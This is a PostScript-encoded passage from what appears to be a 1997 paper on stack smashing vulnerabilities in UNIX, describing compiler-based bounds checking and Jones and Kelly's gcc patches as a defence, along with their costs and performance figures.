7364 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1920 7364 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2171 7364 M (lower ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2598 7364 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2886 7364 M (upper ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3313 7364 M (bounds ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3841 7364 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4028 7364 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4279 7364 M (p) ST -3 0 MR (o) ST -3 0 MR (i) ST -3 0 MR (n) ST -3 0 MR (t) ST -3 0 MR (e) ST -3 0 MR (r) ST -4 0 MR (') ST -4 0 MR (s ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4893 7364 M (address ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5441 7364 M (space. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5943 7364 M (By ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6185 7364 M (giving ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6657 7364 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6908 7364 M (compiler ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7088 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1485 7088 M (additional ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2225 7088 M (upper ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2680 7088 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2996 7088 M (lower ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3451 7088 M (bound ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3942 7088 M (information, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4846 7088 M (it ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5014 7088 M (would ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5505 7088 M (then ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5867 7088 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6100 7088 M (trivial ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6573 7088 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6778 7088 M (do ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7020 7088 M (bounds ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6812 M (checking ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1931 6812 M (before ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2481 6812 M (byte ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2891 6812 M (copy ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3338 6812 M (functions. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4165 6812 M (Despite ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4797 6812 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5161 6812 M (benefit, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5789 6812 M (using ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6273 6812 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6637 6812 M (approach ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7371 6812 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6536 M (implementing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2179 6536 M (bounds ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2713 6536 M (checking ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3367 6536 M (has ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3643 6536 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3900 6536 M (following ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4600 6536 M (disadvantages: ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5675 6536 M (execution ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6375 6536 M (time ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6725 6536 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6918 6536 M (resulting ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6260 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1569 6260 M (increases ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2226 6260 M (by ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2438 6260 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2558 6260 M (factor ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2993 6260 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3178 6260 M (ten ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3427 6260 M (or ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3612 6260 M (more[5], ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4238 6260 M (register ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4784 6260 M (allocation ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5485 6260 M (becomes ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6114 6260 M (more ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6503 6260 M (expensive ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7214 6260 M (by ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7426 6260 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5984 M (factor ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1632 5984 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1813 5984 M (3:1, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2109 5984 M (new ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2428 5984 M (versions ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3025 5984 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3206 5984 M (all ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3414 5984 M (compiled ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4075 5984 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4580 5984 M (libraries ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5168 5984 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5450 5984 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5955 5984 M (calls ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6302 5984 M (must ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6668 5984 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6867 5984 M (provided, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5708 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1485 5708 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1842 5708 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2134 5708 M (interfaces ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2825 5708 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3163 5708 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3409 5708 M (hardware ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4072 5708 M (directly ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4623 5708 M (may ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4953 5708 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5153 5708 M (completely ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5935 5708 M (incompatible ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6846 5708 M (or ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7028 5708 M (require ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5432 M (special attention.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 5156 M (A ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1897 5156 M (unique ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2414 5156 M (approach ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3089 5156 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3283 5156 M (modifying ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4041 5156 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4309 5156 M (compiler ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4966 5156 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5160 5156 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5465 5156 M (manner ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6030 5156 M (was ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6354 5156 M (done ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6742 5156 M (by ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6973 5156 M (Richard ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4880 M (Jones ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1620 4880 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1904 4880 M (Paul ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2244 4880 M (Kelly ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2657 4880 M (at ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2821 4880 M (Imperial ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3430 4880 M (College ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3991 4880 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4164 4880 M (July ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4485 4880 M (1995) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 4817 4921 M (14) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 4955 4880 M (. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5083 4880 M (Their ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5488 4880 M (patches ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6031 4880 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6204 4880 M (gcc ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6479 4880 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6727 4880 M (available ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7371 4880 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4604 M (source ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1688 4604 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1973 4604 M (binary ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2443 4604 M (form) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 2768 4645 M (15) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 2906 4604 M (.[6] ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3230 4604 M (Their ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3636 4604 M (approach ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4291 4604 M (involved ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4917 4604 M (modifying ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5655 4604 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5903 4604 M (compiler ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6540 4604 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6714 4604 M (perform ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7297 4604 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4328 M (same ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1684 4328 M (type ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2104 4328 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2377 4328 M (bounds ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2991 4328 M (checking, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3767 4328 M (without ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4408 4328 M (modifying ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5235 4328 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5572 4328 M (representation ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6649 4328 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6922 4328 M (pointers. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4052 M (Furthermore, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2129 4052 M (Jones ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2545 4052 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2831 4052 M (Kelly ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3246 4052 M (provided ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3883 4052 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4132 4052 M (option ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4602 4052 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4777 4052 M (turn ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5091 4052 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5340 4052 M (bounds ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5866 4052 M (checking ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6512 4052 M (mode ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 6928 4052 M (on ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 7140 4052 M (or ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 7325 4052 M (off) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 7500 4052 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3776 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1385 3776 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1504 3776 M (given ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1918 3776 M (program. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2612 3776 M (By ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2851 3776 M (representing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3719 3776 M (every ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4134 3776 M (pointer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4650 3776 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4990 3776 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5109 3776 M (new ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 5431 3776 M (base ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5781 3776 M (pointer, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6348 3776 M (k) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 6422 3776 M (, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6551 3776 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6845 3776 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7001 3776 M (derived ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3500 M (from the original pointer, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 2926 3500 M (p) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 3009 3500 M (, the following formula was used:) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2495 M (Only ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1588 2495 M (one ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1884 2495 M (pointer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2411 2495 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2578 2495 M (valid ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2966 2495 M (for ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3217 2495 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3347 2495 M (given ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3772 2495 M (region ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4253 2495 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4549 2495 M (one ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4845 2495 M (can ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5132 2495 M (check ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5576 2495 M (whether ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6168 2495 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6298 2495 M (pointer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6825 2495 M (arithmetic ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2219 M (expression ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1966 2219 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2119 2219 M (valid ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2493 2219 M (by ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2701 2219 M (finding ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3223 2219 M (its ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3422 2219 M (base ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3760 2219 M (p) ST -3 0 MR (o) ST -3 0 MR (i) ST -3 0 MR (n) ST -3 0 MR (t) ST -3 0 MR (e) ST -3 0 MR (r) ST -4 0 MR (') ST -4 0 MR (s ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4368 2219 M (storage ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4891 2219 M (region. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5442 2219 M (This ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5780 2219 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5933 2219 M (checked ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6520 2219 M (again ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6922 2219 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7093 2219 M (insure ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1943 M (that ) ST -2 0 MR (the ) ST -3 0 MR (expression's ) ST -3 0 MR (result ) ST -3 0 MR (points ) ST -3 0 MR (to ) ST -3 0 MR (the ) ST -3 0 MR (same ) ST -3 0 MR (storage ) ST -3 0 MR (region.) ST GR %%PageTrailer AXPageSave restore showpage %%Page: 26 26 %%BeginPageSetup save /AXPageSave exch def DOSETUP %%EndPageSetup 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p100000 SETFONT GS n 1200 10624 M (Stack Smashing Vulnerabilities in the UNIX Operating System) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6811 10624 M (Page 9) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3998 284 M (May 7, 1997) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 9848 M (In ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1897 9848 M (their ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2256 9848 M (implementation ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3354 9848 M (Jones ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3778 9848 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4072 9848 M (Kelly ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4495 9848 M (modified ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5150 9848 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5407 9848 M (front ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5785 9848 M (end ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6079 9848 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6272 9848 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6529 9848 M (GNU ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6943 9848 M (p) ST -3 0 MR (r) ST -3 0 MR (o) ST -3 0 MR (j) ST -3 0 MR (e) ST -3 0 MR (c) ST -3 0 MR (t) ST -4 0 MR (') ST -4 0 MR (s ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9572 M (cc ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1396 9572 M (compiler, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2075 9572 M (gcc. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2393 9572 M (Code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2789 9572 M (was ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3093 9572 M (added ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3535 9572 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3709 9572 M (check ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4142 9572 M (pointer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4658 9572 M (arithmetic ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5378 9572 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5663 9572 M (use, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5972 9572 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6257 9572 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6431 9572 M (maintain ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7058 9572 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7177 9572 M (table ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9296 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1416 9296 M (known ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1940 9296 M (allocated ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2612 9296 M (storage ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3165 9296 M (regions ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3727 9296 M (using ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4159 9296 M (splay ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4582 9296 M (trees ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4969 9296 M (for ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5236 9296 M (efficiency. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6058 9296 M (Limited ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6657 9296 M (performance ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9020 M (statistics are as follows:) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1176 8891 M 7523 8891 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 8886 M 1181 8713 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 8886 M 7519 8713 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 1700 8746 M (Performance) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 8712 M 1181 8553 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 8712 M 7519 8553 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 8552 M 1181 8393 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 8552 M 7519 8393 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 8426 M ( nfib \(dumb doubly-recursive Fibonacci\): no slowdown. ) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 8392 M 1181 8233 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 8392 M 7519 8233 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 8266 M ( Execution time: same. ) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 8232 M 1181 8073 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 